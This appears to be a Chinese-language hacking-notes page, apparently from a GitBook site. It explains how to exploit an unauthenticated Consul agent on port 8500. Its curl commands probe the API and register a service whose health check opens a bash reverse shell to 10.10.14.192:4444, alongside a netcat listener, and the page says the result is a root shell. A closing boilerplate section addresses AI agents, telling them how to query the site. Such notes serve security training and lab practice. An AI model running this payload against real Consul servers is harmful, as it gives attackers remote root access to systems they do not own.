> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/ports-and-services/consul-8500.md).
# Consul - 8500
### 发现 8500 端口（Consul）
端口 **8500** 提供 Consul Web 界面。
查询后 `127.0.0.1:8500/ui/`，Consul 版本 **1.19.2** 被发现。
```bash
curl 127.0.0.1:8500/ui/
```
#### 验证对 REST API 的访问
测试 Consul 的 REST API 是否可在未认证的情况下访问：
```bash
curl http://127.0.0.1:8500/v1/agent/self
```
响应确认该 API 已暴露。
### 通过恶意检查进行利用
{% embed url="" %}
注册一个带有恶意检查的服务，运行 bash 反向 shell：
```bash
nc -lvnp 4444
```
#### 注册带有恶意检查的服务
Consul 允许通过 HTTP 请求动态注册服务。滥用此行为可创建一个执行 bash 命令的检查。
```bash
curl -X PUT http://127.0.0.1:8500/v1/agent/service/register -d '{
"Name": "pwned",
"ID": "pwned",
"Check": {
"Args": ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.192/4444 0>&1"],
"Interval": "10s"
}
}'
```
载荷行为：
* `Check.Args[]`：包含一条 bash 命令，用于打开一个 **反向 shell**.
* `Interval`：设置每 10 秒自动执行一次。
运行此载荷会返回一个 root shell。
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/ports-and-services/consul-8500.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.